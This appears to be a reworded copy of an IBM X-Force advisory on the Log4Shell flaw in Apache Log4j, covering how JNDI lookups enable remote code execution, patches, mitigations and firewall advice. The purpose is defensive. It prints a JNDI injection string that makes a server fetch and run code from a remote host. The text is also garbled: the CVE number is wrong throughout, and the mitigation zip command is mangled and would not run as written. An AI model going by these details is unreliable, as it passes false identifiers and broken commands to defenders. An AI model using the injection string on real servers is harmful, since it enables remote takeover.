[ad_1]
If you haven’t heard of Apache Log4j, chances are it’s on your radar now. In fact, you may have been using it for years. Log4j is a logging library. Imagine writing down your daily activities in a notebook. This notebook is Log4j. Developers and programmers use it to take notes on what is happening on applications and servers. For example, they can use it to troubleshoot a security incident, like someone signing into an app with the wrong password. Log4j can be used to record when the person logged in, which app and the password they used.
Log4j is used by a very large percentage of Java programs developed over the past decade for server and client applications. Java is also one of the main programming languages ​​used by businesses. That’s why, on December 9, 2021, when Chen Zhaojun of the Alibaba Cloud Security team discovered CVE-2021-4428, aka Log4Shell, a high-severity vulnerability that affects the core function of Log4j, and a publicly available exploit. , cybersecurity researchers have sounded the alarm.
CVE 2021-4428 allows attackers to remotely execute code, which means that they can execute any code and access all data on the affected machine. It also allows them to delete or encrypt files and keep them for ransom. Any function that the impacted asset can do, attackers can do with the exploit as well. This means that anything that uses a vulnerable version of Log4j to save user-controlled data can be attacked.
A technical dive into CVE-2021-4428
Log4j allows saved messages to contain format strings that refer to external information via Java Naming and Directory Interface (JNDI). This allows information to be retrieved remotely through a variety of protocols, including Lightweight Directory Access Protocol (LDAP). For example, when Log4j finds the following string in a log message, it asks the JNDI to ask the LDAP server in 192.168.1.1 for the “information” object.
${jndi:ldap://192.168.1.1/information}
By design, JNDI will run Java classes referenced by an LDAP server. Continuing the example, if the response from the LDAP server refers to the URL http://192.168.1.2/information, JNDI will automatically request the file class.information from the web server and run the response.
Since the contents of log messages often contain user-controlled data, attackers can insert JNDI references pointing to LDAP servers they control, ready to serve malicious Java classes that take any action they choose. .
What will happen for CVE-2021-4428?
We saw unconfirmed reports of attackers already exploiting CVE-2021-4428, which does not surprise us. Criminals will find this to be a very attractive attack technique, as Log4j is popular, programs often include user-supplied data in logs, and the fix was only released recently. We expect more attacks – ransomware and the like – to take place in the future.
Patching a single app isn’t too complicated, but each app should be tested to make sure the patch hasn’t broken anything. Large businesses could easily have hundreds of vulnerable apps on thousands of devices.
How can you protect your organization?
While patching can be difficult, it’s still the number one action to take today. Apache released version 2.15.0-rc1, quickly followed by 2.15.0-rc2 after a workaround was discovered.
Apache has also suggested mitigation measures for those who cannot patch (source: https://logging.apache.org/log4j/2.x/security.html):
Mitigation: In versions> = 2.10, this behavior can be mitigated by setting the log4j2.formatMsgNoLookups system property or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true. For versions 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath: zip -q -d log4j-core – *. Jar org / apache / logging / log4j / core / lookup / JndiLookup.class.
On the preventive side, designing an environment with strong network security controls can help. In well-designed environments, for example, servers can only create network connections to explicitly trusted destinations. Creating a default deny firewall rule will prevent servers from creating untrusted connections and can help reduce the risk of compromise. This is especially important for servers exposed to the Internet.
X-Force, IBM Security’s team of hackers, responders, researchers, intelligence analysts and investigators, is closely following the discovery and will provide more information as our research is taking place. This disclosure is followed in this IBM X-Force Exchange Collection and will be updated if additional information becomes available.
X-Force also created a scan tool to detect Log4Shell. You can access it, free of charge, here: https://github.com/xforcered/scan4log4shell
Additional support is available 24/7 through the IBM Security X-Force US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.
To learn more about our team or to schedule a one-to-one conversation with our researchers about this vulnerability, visit www.ibm.com/security/xforce.
[ad_2]
